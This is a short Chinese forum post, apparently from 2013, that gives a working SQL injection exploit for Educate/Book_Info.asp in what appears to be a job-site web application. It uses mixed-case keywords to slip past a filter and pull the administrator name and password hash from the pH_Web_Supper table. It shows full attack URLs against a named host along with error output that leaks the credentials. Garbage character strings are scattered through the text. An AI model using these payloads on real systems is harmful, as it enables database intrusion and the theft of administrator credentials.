漏洞出现在Educate/Book_Info.asp
" f' a* v/ `' K. z: L6 h$ y0 N此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出8 t3 l" H7 e3 F2 i/ _' G6 E4 m
exp：如下5 B; n( u2 G- ?
查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)8 k" E( X& {3 I- T# ^
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
2 T6 U; b; }2 u0 qhttp://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)0 ~: J0 z" e% u1 J
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'& N0 Q5 q. {4 q+ }
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
" w% m8 k `. R( e) {8 [' f/Educate/Book_Info.asp，行 8$ {" ~% \; ^/ g
http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)0 s. H/ c# ], ^+ r Z3 e- M% o& z. z
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'7 T! P" o+ h, [
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。3 L, X: x, V' f( j' M5 ?+ u
/Educate/Book_Info.asp，行 8 |
发表于 2013-2-13 23:56:06
收藏
支持
反对